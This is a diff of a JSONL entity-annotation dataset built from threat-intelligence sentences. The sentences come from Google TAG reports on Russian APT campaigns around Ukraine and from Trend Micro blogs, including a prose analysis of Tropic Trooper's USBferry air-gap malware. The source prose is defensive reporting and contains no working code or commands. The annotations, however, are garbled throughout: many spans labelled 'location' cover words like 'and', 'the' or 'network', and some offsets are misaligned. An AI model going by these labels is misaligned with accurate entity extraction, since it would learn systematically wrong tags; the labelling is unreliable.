-{"id":12985,"text":"We promptly identify and remove any such content but have not observed any significant shifts from the normal levels of activity that occur in the region.","entities":[{"id":40438,"label":"location","start_offset":21,"end_offset":24},{"id":40439,"label":"location","start_offset":41,"end_offset":48},{"id":40440,"label":"location","start_offset":103,"end_offset":109},{"id":40441,"label":"location","start_offset":110,"end_offset":116},{"id":40442,"label":"location","start_offset":147,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":12986,"text":"Here is a deeper look at the campaign activity TAG has observed and the actions the team has taken to protect our users over the past few weeks: APT28 or Fancy Bear, a threat actor attributed to Russia GRU, was observed targeting users in Ukraine with a new variant of malware.","entities":[{"id":40443,"label":"location","start_offset":29,"end_offset":37},{"id":40444,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":12987,"text":"The malware, distributed via email attachments inside of password protected zip files (ua_report.zip), is a .Net executable that when executed steals cookies and saved passwords from Chrome, Edge and Firefox browsers.","entities":[{"id":40451,"label":"location","start_offset":158,"end_offset":161},{"id":40454,"label":"location","start_offset":196,"end_offset":199}],"relations":[],"Comments":[]}
 {"id":12988,"text":"The data is then exfiltrated via email to a compromised email account.","entities":[],"relations":[],"Comments":[]}
 {"id":12989,"text":"Malware samples:","entities":[],"relations":[],"Comments":[]}
 {"id":12990,"text":"TAG would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":12991,"text":"Turla, a group TAG attributes to Russia FSB, continues to run campaigns against the Baltics, targeting defense and cybersecurity organizations in the region.","entities":[{"id":40461,"label":"location","start_offset":111,"end_offset":114},{"id":40462,"label":"location","start_offset":150,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":12992,"text":"Similar to recently observed activity, these campaigns were sent via email and contained a unique link per target that led to a DOCX file hosted on attacker controlled infrastructure.","entities":[{"id":40463,"label":"location","start_offset":75,"end_offset":78},{"id":40464,"label":"location","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":12993,"text":"When opened, the DOCX file would attempt to download a unique PNG file from the same attacker controlled domain.","entities":[{"id":40465,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]}
 {"id":12994,"text":"Recently observed Turla domains: COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.","entities":[{"id":40471,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":40473,"label":"location","start_offset":198,"end_offset":201}],"relations":[],"Comments":[]}
-{"id":12995,"text":"The targets include government and defense officials, politicians, NGOs and think tanks, and journalists.","entities":[{"id":40475,"label":"location","start_offset":31,"end_offset":34},{"id":40476,"label":"location","start_offset":72,"end_offset":75},{"id":40477,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":12996,"text":"The group's tactics, techniques and procedures (TTPs) for these campaigns have shifted slightly from including phishing links directly in the email, to also linking to PDFs and\/or DOCs hosted on Google Drive and Microsoft One Drive.","entities":[{"id":40478,"label":"location","start_offset":32,"end_offset":35},{"id":40479,"label":"attack-pattern","start_offset":111,"end_offset":119},{"id":40481,"label":"location","start_offset":208,"end_offset":211}],"relations":[],"Comments":[]}
 {"id":12997,"text":"Within these files is a link to an attacker controlled phishing domain.","entities":[{"id":40484,"label":"attack-pattern","start_offset":55,"end_offset":63}],"relations":[],"Comments":[]}
 {"id":12998,"text":"These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.","entities":[{"id":40485,"label":"attack-pattern","start_offset":6,"end_offset":14},{"id":40487,"label":"location","start_offset":129,"end_offset":132},{"id":40488,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]}
@@ -13011,12 +8607,9 @@
 {"id":13011,"text":"We encourage any potential targets to enable Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.","entities":[],"relations":[],"Comments":[]}
 {"id":13012,"text":"The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.","entities":[],"relations":[],"Comments":[]}
 {"id":13013,"text":"We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.","entities":[],"relations":[],"Comments":[]}
-{"id":13014,"text":"While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.","entities":[{"id":48824,"label":"location","start_offset":53,"end_offset":61},{"id":48823,"label":"location","start_offset":65,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":13015,"text":"In early March, Google’s Threat Analysis Group (TAG) published an update on the cyber activity it was tracking with regard to the war in Ukraine.","entities":[{"id":48825,"label":"identity","start_offset":25,"end_offset":52},{"id":48827,"label":"TIME","start_offset":3,"end_offset":14},{"id":48826,"label":"location","start_offset":137,"end_offset":144}],"relations":[],"Comments":[]}
 {"id":13016,"text":"Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.","entities":[{"id":48828,"label":"identity","start_offset":23,"end_offset":27}],"relations":[],"Comments":[]}
-{"id":13017,"text":"Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.","entities":[{"id":48833,"label":"location","start_offset":59,"end_offset":65},{"id":48834,"label":"location","start_offset":37,"end_offset":41},{"id":48835,"label":"location","start_offset":43,"end_offset":54},{"id":48836,"label":"location","start_offset":125,"end_offset":133},{"id":48829,"label":"location","start_offset":30,"end_offset":35}],"relations":[],"Comments":[]}
 {"id":13018,"text":"Financially motivated and criminal actors are also using current events as a means for targeting users.","entities":[],"relations":[],"Comments":[]}
-{"id":13019,"text":"For example, one actor is impersonating military personnel to extort money for rescuing relatives in Ukraine.","entities":[{"id":48837,"label":"location","start_offset":101,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":13020,"text":"TAG has also continued to observe multiple ransomware brokers continuing to operate in a business as usual sense.","entities":[{"id":48838,"label":"identity","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
 {"id":13021,"text":"As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.","entities":[],"relations":[],"Comments":[]}
 {"id":13022,"text":"We promptly identify and remove any such content, but have not observed any significant shifts from the normal levels of activity that occur in the region.","entities":[],"relations":[],"Comments":[]}
@@ -13035,14 +8628,11 @@
 {"id":13035,"text":"Recently observed Ghostwriter credential phishing domains:","entities":[{"id":48875,"label":"threat-actor","start_offset":18,"end_offset":30},{"id":40655,"label":"attack-pattern","start_offset":41,"end_offset":49}],"relations":[],"Comments":[]}
 {"id":13036,"text":"The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.","entities":[],"relations":[],"Comments":[]}
 {"id":13037,"text":"We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.","entities":[],"relations":[],"Comments":[]}
-{"id":13038,"text":"While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.","entities":[{"id":48876,"label":"location","start_offset":53,"end_offset":61},{"id":48877,"label":"location","start_offset":65,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":13039,"text":"Welcome to our weekly roundup, where we share what you need to know about cybersecurity news and events that happened over the past few days.","entities":[],"relations":[],"Comments":[]}
 {"id":13040,"text":"This week, learn about Trend Micro’s latest cloud security offering, Cloud One – Application Security.","entities":[{"id":48878,"label":"identity","start_offset":23,"end_offset":35},{"id":48879,"label":"SOFTWARE","start_offset":69,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":13041,"text":"Also, read about the new IoT law passed in the U.S. to help ward off advanced threats and provide greater security in IoT devices.","entities":[{"id":48880,"label":"location","start_offset":46,"end_offset":50}],"relations":[],"Comments":[]}
 {"id":13042,"text":"Read on:","entities":[],"relations":[],"Comments":[]}
 {"id":13043,"text":"Leading Protection for Cloud-Based Applications from Trend Micro Trend Micro announced the availability of its Trend Micro Cloud One – Application Security, a cloud native security solution for modern applications and APIs.","entities":[],"relations":[],"Comments":[]}
 {"id":13044,"text":"Delivered as part of its industry-leading platform, Cloud One – Application Security provides code-level visibility and protection against the latest cyber threats.","entities":[],"relations":[],"Comments":[]}
-{"id":13045,"text":"New US IoT Law Aims to Improve Edge Device Security","entities":[{"id":48881,"label":"location","start_offset":4,"end_offset":7}],"relations":[],"Comments":[]}
 {"id":13046,"text":"The Internet of Things (IoT) Cybersecurity Improvement Act, passed by the House of Representatives in September and unanimously approved by the Senate last week, is a step toward warding off advanced threats and providing greater security in IoT devices.","entities":[{"id":48882,"label":"identity","start_offset":74,"end_offset":98},{"id":48883,"label":"TIME","start_offset":102,"end_offset":112}],"relations":[],"Comments":[]}
 {"id":13047,"text":"The act aims to create “standards and guidelines” for the federal government to follow with the hopes that the requirements also make their way into private sector manufacturing.","entities":[],"relations":[],"Comments":[]}
 {"id":13048,"text":"Navigating Gray Clouds: The Importance of Visibility in Cloud Security","entities":[],"relations":[],"Comments":[]}
@@ -13106,8 +8696,6 @@
 {"id":13106,"text":"We do neither, but we plan to work with the consortium to enhance security-by-design in ROS-I software.","entities":[],"relations":[],"Comments":[]}
 {"id":13107,"text":"In fact, Trend Micro is only the second cybersecurity specialist to join.","entities":[],"relations":[],"Comments":[]}
 {"id":13108,"text":" Securing IIoT systems is hard: it requires capabilities across the cloud, the network, and the devices themselves.","entities":[],"relations":[],"Comments":[]}
-{"id":13109,"text":"But thanks to our 30+ year heritage in cybersecurity and active deployments with global customers, we’re able to offer protection all the way from the gateway to the endpoint.","entities":[{"id":40900,"label":"location","start_offset":53,"end_offset":56},{"id":40901,"label":"location","start_offset":119,"end_offset":129},{"id":40902,"label":"location","start_offset":138,"end_offset":141},{"id":40903,"label":"location","start_offset":151,"end_offset":158}],"relations":[],"Comments":[]}
-{"id":13110,"text":"That’s the kind of end-to-end security you need to drive Industry 4.0 success.","entities":[{"id":40904,"label":"location","start_offset":30,"end_offset":38},{"id":40905,"label":"location","start_offset":57,"end_offset":65},{"id":40906,"label":"location","start_offset":70,"end_offset":77}],"relations":[],"Comments":[]}
 {"id":13111,"text":"For more info, check out our Smart Factory solutions: https:\/\/www.trendmicro.com\/en_us\/business\/solutions\/iot\/smart-factory.html.","entities":[{"id":40909,"label":"URL","start_offset":54,"end_offset":128}],"relations":[],"Comments":[]}
 {"id":13112,"text":"         Tags  APT & Targeted Attacks | IoT | Expert Perspective | Articles, News, Reports","entities":[],"relations":[],"Comments":[]}
 {"id":13113,"text":"Cloud computing is on a roll.","entities":[],"relations":[],"Comments":[]}
@@ -13156,42 +8744,26 @@
 {"id":13156,"text":"A sample scenario of the USBferry attack Tropic Trooper is well aware that military or government organizations may have more robust security in their physically isolated environments (i.e., the use of biometrics or USB use in a quarantined machine before an air-gapped environment).","entities":[{"id":48940,"label":"threat-actor","start_offset":41,"end_offset":55},{"id":48939,"label":"malware","start_offset":25,"end_offset":34}],"relations":[{"id":504,"from_id":48939,"to_id":48940,"type":"related-to"}],"Comments":[]}
 {"id":13157,"text":"The group then targets potentially unsecured related organizations that could serve as jumping-off points for attacks.","entities":[],"relations":[],"Comments":[]}
 {"id":13158,"text":"For instance, we observed Tropic Trooper move from a military hospital to the military’s physically isolated network.","entities":[],"relations":[],"Comments":[]}
-{"id":13159,"text":"This blog post provides an overview of the USB malware called USBferry and its capabilities, as well as the other tools used to infiltrate physically isolated environments.","entities":[{"id":41065,"label":"location","start_offset":10,"end_offset":14},{"id":41067,"label":"location","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":13160,"text":"Further details, including indicators of compromise (IoCs), can be read in the technical brief.","entities":[{"id":41068,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":13161,"text":"A USB malware called USBferry We first encountered the malware from a PricewaterhouseCoopers report that mentioned a sample related to Tropic Trooper but did not include a detailed analysis.","entities":[{"id":41071,"label":"location","start_offset":117,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":13162,"text":"We looked into it further and discovered many versions of it, including several program database (PDB) strings.","entities":[{"id":41073,"label":"location","start_offset":26,"end_offset":29},{"id":41074,"label":"location","start_offset":41,"end_offset":45}],"relations":[],"Comments":[]}
 {"id":13163,"text":"For one thing, the USBferry malware already has at least three versions, with different variants and components, at the time of writing.","entities":[{"id":41076,"label":"tools","start_offset":19,"end_offset":27},{"id":41078,"label":"location","start_offset":97,"end_offset":100},{"id":41079,"label":"location","start_offset":120,"end_offset":124}],"relations":[],"Comments":[]}
-{"id":13164,"text":"Here are the noteworthy points we gathered during analysis:  The first version has a small component of TROJ_YAHOYAH.","entities":[{"id":41080,"label":"location","start_offset":5,"end_offset":8},{"id":41081,"label":"location","start_offset":24,"end_offset":30},{"id":41083,"label":"location","start_offset":85,"end_offset":90}],"relations":[],"Comments":[]}
 {"id":13165,"text":"The malware tries to check if the target machine has a USB plug-in and copies the USBferry installer into the USB storage.","entities":[{"id":41084,"label":"location","start_offset":21,"end_offset":26},{"id":41085,"label":"location","start_offset":34,"end_offset":40},{"id":41086,"label":"location","start_offset":67,"end_offset":70},{"id":41087,"label":"malware","start_offset":82,"end_offset":90}],"relations":[],"Comments":[]}
 {"id":13166,"text":"The activities vary in target environments; some execute commands, source target files or folder lists, and copy files from physically isolated hosts to compromised hosts, among other things.","entities":[{"id":41088,"label":"location","start_offset":23,"end_offset":29},{"id":41089,"label":"attack-pattern","start_offset":67,"end_offset":73},{"id":41090,"label":"location","start_offset":74,"end_offset":80},{"id":41091,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]}
 {"id":13167,"text":"  Figure 2. USBferry malware’s first version, where the EXE file is the USBferry malware and the DLL file is trojan TROJ_YAHOYAH  ","entities":[{"id":41093,"label":"tools","start_offset":12,"end_offset":20},{"id":41095,"label":"malware","start_offset":72,"end_offset":80},{"id":41096,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":13168,"text":"The second version has the same capabilities as the first and combines components into one executable.","entities":[{"id":41098,"label":"location","start_offset":27,"end_offset":31},{"id":41100,"label":"location","start_offset":58,"end_offset":61},{"id":41101,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]}
 {"id":13169,"text":"This version also changes the malware location and its name to UF, an abbreviation for USBferry.","entities":[{"id":41102,"label":"location","start_offset":47,"end_offset":50},{"id":41103,"label":"malware","start_offset":87,"end_offset":95}],"relations":[],"Comments":[]}
 {"id":13170,"text":"  Figure 3.","entities":[],"relations":[],"Comments":[]}
 {"id":13171,"text":"USBferry malware’s second version combined into one file","entities":[{"id":41105,"label":"malware","start_offset":0,"end_offset":8},{"id":41107,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":13172,"text":" The third version retains the previous versions’ capabilities and improves its stealth in the target environment by residing in the rundll32.exe memory.","entities":[{"id":41109,"label":"location","start_offset":63,"end_offset":66},{"id":41110,"label":"location","start_offset":95,"end_offset":101}],"relations":[],"Comments":[]}
 {"id":13173,"text":"Figure 4.","entities":[],"relations":[],"Comments":[]}
 {"id":13174,"text":"USBferry malware’s third version becomes resident in memory How USBferry targets air-gapped systems","entities":[{"id":41112,"label":"malware","start_offset":0,"end_offset":8},{"id":41114,"label":"tools","start_offset":64,"end_offset":72}],"relations":[],"Comments":[]}
 {"id":13175,"text":"In our technical brief, we broke down how Tropic Trooper has changed the way it uses the abovementioned USBferry versions in attacks.","entities":[{"id":41115,"label":"threat-actor","start_offset":42,"end_offset":56},{"id":41116,"label":"location","start_offset":73,"end_offset":76},{"id":41117,"label":"malware","start_offset":104,"end_offset":112}],"relations":[],"Comments":[]}
-{"id":13176,"text":"The group achieves infection by employing the USB worm infection strategy and ferrying a malware installer via USB into an air-gapped host machine.","entities":[{"id":41118,"label":"location","start_offset":74,"end_offset":77},{"id":41119,"label":"location","start_offset":134,"end_offset":138}],"relations":[],"Comments":[]}
 {"id":13177,"text":" Figure 5. USBferry malware using USB worm infection strategy","entities":[{"id":41121,"label":"malware","start_offset":11,"end_offset":19}],"relations":[],"Comments":[]}
-{"id":13178,"text":"Here we will discuss the notable changes in the group’s latest attack chain that uses version UF1.0 20160226 (detected by Trend Micro as TROJ_USBLODR.ZAHB-A):  Figure 6.","entities":[{"id":41122,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
 {"id":13179,"text":"USBferry attack scenario, version UF1.0 20160226","entities":[{"id":41125,"label":"malware","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":13180,"text":" The decoy file first drops a flash_en.inf DLL file, which is a USBferry loader, and tries to load the encrypted USBferry malware","entities":[{"id":41126,"label":"location","start_offset":5,"end_offset":10},{"id":41127,"label":"tools","start_offset":64,"end_offset":72},{"id":41128,"label":"location","start_offset":81,"end_offset":84},{"id":41129,"label":"location","start_offset":94,"end_offset":98},{"id":41130,"label":"malware","start_offset":113,"end_offset":121}],"relations":[],"Comments":[]}
 {"id":13181,"text":"The encrypted USBferry malware is embedded in the loader resource section, and the loader drops it into the C:\\Users\\Public\\Documents\\Flash folder and names it flash.dat","entities":[{"id":41131,"label":"malware","start_offset":14,"end_offset":22},{"id":41132,"label":"location","start_offset":66,"end_offset":73},{"id":41133,"label":"location","start_offset":75,"end_offset":78},{"id":41134,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
 {"id":13182,"text":"After the encrypted payload is loaded, the loader injects a malicious DLL into rundll32.exe.","entities":[],"relations":[],"Comments":[]}
 {"id":13183,"text":"The USBferry malware also loads a C&C configuration file and flash_en.dat, which is also located in the C:\\Users\\Public\\Documents\\Flash","entities":[{"id":41135,"label":"malware","start_offset":4,"end_offset":12},{"id":41136,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
 {"id":13184,"text":"The USBferry malware then tries to connect to the download site and uses a Windows command to collect\/copy target host data  ","entities":[{"id":41137,"label":"tools","start_offset":4,"end_offset":12},{"id":41138,"label":"location","start_offset":64,"end_offset":67},{"id":41139,"label":"location","start_offset":107,"end_offset":113},{"id":41140,"label":"location","start_offset":114,"end_offset":118}],"relations":[],"Comments":[]}
-{"id":13185,"text":"This version checks for network connectivity; if it finds that the network is unavailable, it tries to collect information from the target machine and copy the collected data into USB storage.","entities":[{"id":41141,"label":"location","start_offset":132,"end_offset":138},{"id":41142,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
-{"id":13186,"text":"This way, the USB exfiltrates the information and sends it back to the C&C server.","entities":[{"id":41143,"label":"location","start_offset":5,"end_offset":8},{"id":41144,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":13187,"text":"Backdoors and other tools used by Tropic Trooper","entities":[{"id":41145,"label":"location","start_offset":10,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":13188,"text":"Some backdoors used by Tropic Trooper use injection to execute its routines, while others execute directly and run itself consistently.","entities":[{"id":41147,"label":"threat-actor","start_offset":23,"end_offset":37},{"id":41148,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
 {"id":13189,"text":"The group also uses steganography to mask their backdoor routines and evade anti-malware and network perimeter detection.","entities":[{"id":41149,"label":"threat-actor","start_offset":37,"end_offset":41},{"id":41150,"label":"location","start_offset":66,"end_offset":69},{"id":41151,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":13190,"text":"To find the full list of the backdoors we analyzed, check out our technical brief.","entities":[{"id":41152,"label":"location","start_offset":17,"end_offset":21},{"id":41153,"label":"location","start_offset":52,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":13191,"text":"Here we will tackle some of the noteworthy backdoors Tropic Trooper used.","entities":[{"id":41154,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":13192,"text":"WelCome To Svchost 3.2 20110818’s backdoor (detected as BKDR_SVCSHELL.ZAHC-A) - This backdoor bears similarities with a payload we discussed in our previous research.","entities":[{"id":41156,"label":"location","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
 {"id":13193,"text":"Based on the malware version number, this backdoor’s first version was developed in or before 2011.","entities":[],"relations":[],"Comments":[]}
-{"id":13194,"text":"This means that Tropic Trooper’s activities have been ongoing for at least ten years now.","entities":[{"id":41159,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]}
 {"id":13195,"text":"  Figure 7.","entities":[],"relations":[],"Comments":[]}
 {"id":13196,"text":"The backdoor version name, registered service name, and malware components’ filenames  Welcome To IDShell 1.0 20150310’s backdoor (detected as BKDR_IDSHELL.ZTFC-A) - The purpose of this backdoor, which has two types, including a steganography jpg version, is to recon the target machine.","entities":[{"id":41163,"label":"location","start_offset":52,"end_offset":55},{"id":41164,"label":"location","start_offset":87,"end_offset":94},{"id":41166,"label":"malware","start_offset":262,"end_offset":267},{"id":41167,"label":"location","start_offset":272,"end_offset":278}],"relations":[],"Comments":[]}
 {"id":13197,"text":"Like other versions, it uses the DNS protocol to communicate with the backdoor controller.","entities":[],"relations":[],"Comments":[]}
@@ -13200,142 +8772,61 @@
 {"id":13200,"text":"The backdoor’s communication traffic  ","entities":[],"relations":[],"Comments":[]}
 {"id":13201,"text":"Hey!","entities":[],"relations":[],"Comments":[]}
 {"id":13202,"text":"Welcome Server 2.0’s backdoor (detected as BKDR_TEBSHELL.ZTGK) – This is the latest version of the backdoor, available in 32-bit and 64-bit versions, which uses an invisible web shell for remote control and network security evasion.","entities":[{"id":41169,"label":"location","start_offset":0,"end_offset":7},{"id":41171,"label":"location","start_offset":129,"end_offset":132},{"id":41173,"label":"attack-pattern","start_offset":174,"end_offset":183},{"id":41174,"label":"location","start_offset":188,"end_offset":194},{"id":41175,"label":"location","start_offset":203,"end_offset":206},{"id":41176,"label":"location","start_offset":215,"end_offset":223}],"relations":[],"Comments":[]}
-{"id":13203,"text":"It runs the process as a service, hides backdoor communication in normal traffic, and uses customized TCP protocol.","entities":[{"id":41177,"label":"location","start_offset":66,"end_offset":72},{"id":41178,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":13204,"text":"It also improves the way it handles wrong input commands and unauthorized access.","entities":[{"id":41179,"label":"location","start_offset":21,"end_offset":24},{"id":41180,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
 {"id":13205,"text":"  Figure 9.","entities":[],"relations":[],"Comments":[]}
-{"id":13206,"text":"The executable version will install and name it as a Windows service, change registry to disable error display, and launch the service Tropic Trooper also used other tools in their attacks, such as:  Command-line remote control listener\/port relay tool, which has different versions that can communicate with the backdoor.","entities":[{"id":41182,"label":"location","start_offset":23,"end_offset":27},{"id":41183,"label":"location","start_offset":36,"end_offset":39},{"id":41184,"label":"location","start_offset":112,"end_offset":115},{"id":41186,"label":"location","start_offset":213,"end_offset":219},{"id":41187,"label":"location","start_offset":248,"end_offset":252},{"id":41188,"label":"location","start_offset":288,"end_offset":291}],"relations":[],"Comments":[]}
-{"id":13207,"text":"Backdoor payload\/steganography payload execution loaders, which have two versions that can be used to successfully load the encrypted payload and subsequently delete itself and the payload.","entities":[{"id":41190,"label":"location","start_offset":87,"end_offset":90},{"id":41191,"label":"location","start_offset":115,"end_offset":119},{"id":41192,"label":"location","start_offset":142,"end_offset":145},{"id":41193,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]}
 {"id":13208,"text":"Port scanning tools, which are available on the internet.","entities":[{"id":41194,"label":"attack-pattern","start_offset":0,"end_offset":13},{"id":41195,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":13209,"text":" The overview provided above highlights how putting critical information in physically isolated networks is not a bulletproof solution for defending against cyberespionage.","entities":[],"relations":[],"Comments":[]}
 {"id":13210,"text":"Steganography isn’t just used to deliver encrypted payloads; it can also be used to transfer information to a C&C server.","entities":[{"id":41196,"label":"identity","start_offset":20,"end_offset":24},{"id":41197,"label":"location","start_offset":64,"end_offset":67},{"id":41198,"label":"location","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":13211,"text":"Multiple hacking tools and components can also help facilitate successful attacks on different networks and environments.","entities":[{"id":41199,"label":"location","start_offset":23,"end_offset":26},{"id":41200,"label":"location","start_offset":38,"end_offset":41},{"id":41201,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]}
 {"id":13212,"text":"Threat actors like Tropic Trooper can also use an invisible web shell to hide its C&C server location and make incident response tricky.","entities":[{"id":41203,"label":"location","start_offset":34,"end_offset":37},{"id":41204,"label":"attack-pattern","start_offset":60,"end_offset":69},{"id":41205,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":13213,"text":"MITRE ATT&CK Matrix  Best practices and Trend Micro solutions","entities":[{"id":41207,"label":"location","start_offset":21,"end_offset":25},{"id":41208,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":13214,"text":"The latest developments with Tropic Trooper indicate that they are well-prepared to target government institutions and military agencies for stolen intelligence.","entities":[{"id":41211,"label":"location","start_offset":63,"end_offset":66},{"id":41212,"label":"location","start_offset":84,"end_offset":90},{"id":41213,"label":"location","start_offset":115,"end_offset":118}],"relations":[],"Comments":[]}
-{"id":13215,"text":"The group also takes a long time to perform reconnaissance and consequently infiltrate physically isolated networks.","entities":[{"id":41214,"label":"location","start_offset":23,"end_offset":27},{"id":41215,"label":"location","start_offset":28,"end_offset":32},{"id":41216,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":13216,"text":"This research also underscores how threat actors could see potentially vulnerable targets as launch points for extending their attack attempts to other, more critical targets.","entities":[{"id":41217,"label":"location","start_offset":100,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":13217,"text":"Understanding attack tactics and techniques can provide the needed context for assessing potential impact and adopting defensive strategies.","entities":[{"id":41218,"label":"location","start_offset":29,"end_offset":32},{"id":41219,"label":"location","start_offset":44,"end_offset":47},{"id":41220,"label":"location","start_offset":99,"end_offset":105},{"id":41221,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":13218,"text":"Here are some measures that organizations can practice to thwart advanced persistent threats with security that employs actionable threat intelligence, network-wide visibility, and timely threat protection:  ","entities":[{"id":41222,"label":"location","start_offset":5,"end_offset":8},{"id":41223,"label":"location","start_offset":42,"end_offset":45},{"id":41224,"label":"location","start_offset":98,"end_offset":106},{"id":41225,"label":"location","start_offset":177,"end_offset":180},{"id":41226,"label":"location","start_offset":195,"end_offset":205}],"relations":[],"Comments":[]}
 {"id":13219,"text":"Enforce the principle of least privilege.","entities":[],"relations":[],"Comments":[]}
-{"id":13220,"text":"Employ network segmentation and data categorization to deter lateral movement and mitigate exposure.","entities":[{"id":41227,"label":"location","start_offset":28,"end_offset":31},{"id":41228,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":13221,"text":"Keep the system and its applications up-to-date.","entities":[{"id":41229,"label":"location","start_offset":16,"end_offset":19},{"id":41230,"label":"location","start_offset":43,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":13222,"text":"Weaknesses in the network can serve as entry points for attacks.","entities":[{"id":41231,"label":"location","start_offset":26,"end_offset":29},{"id":41232,"label":"location","start_offset":45,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":13223,"text":"Enforce a strong patch management policy and consider virtual patching for legacy systems.","entities":[{"id":41233,"label":"location","start_offset":10,"end_offset":16},{"id":41234,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":13224,"text":"Regularly monitor your perimeter.","entities":[{"id":41235,"label":"location","start_offset":10,"end_offset":17}],"relations":[],"Comments":[]}
-{"id":13225,"text":"Adopt cross-layer detection and response across gateways, endpoints, networks, and servers to protect against a wide range of cybersecurity threats.","entities":[{"id":41236,"label":"location","start_offset":6,"end_offset":11},{"id":41237,"label":"location","start_offset":28,"end_offset":31},{"id":41238,"label":"location","start_offset":79,"end_offset":82},{"id":41239,"label":"location","start_offset":117,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":13226,"text":"Firewalls and intrusion detection and prevention systems can help defend against network-based attacks.","entities":[{"id":41240,"label":"location","start_offset":10,"end_offset":13},{"id":41241,"label":"location","start_offset":34,"end_offset":37},{"id":41242,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":13227,"text":" Organizations can take advantage of the Trend Micro Apex One™ solution, which provides actionable insights, expanded investigative capabilities, and centralized visibility across the network through a variety of threat detection capabilities such as behavioral analysis that protects against malicious scripts, injection, ransomware, memory, and browser attacks.","entities":[{"id":41243,"label":"location","start_offset":15,"end_offset":18},{"id":41246,"label":"location","start_offset":146,"end_offset":149},{"id":41247,"label":"location","start_offset":343,"end_offset":346}],"relations":[],"Comments":[]}
-{"id":13228,"text":"A multilayered security solution such as Trend Micro™ Deep Discovery™ can also be considered; it provides in-depth analysis and proactive response to attacks using exploits and other similar threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect these attacks even without any engine or pattern updates.","entities":[{"id":41248,"label":"location","start_offset":15,"end_offset":23},{"id":41250,"label":"location","start_offset":70,"end_offset":73},{"id":41251,"label":"location","start_offset":124,"end_offset":127},{"id":41252,"label":"location","start_offset":173,"end_offset":176},{"id":41253,"label":"location","start_offset":247,"end_offset":250}],"relations":[],"Comments":[]}
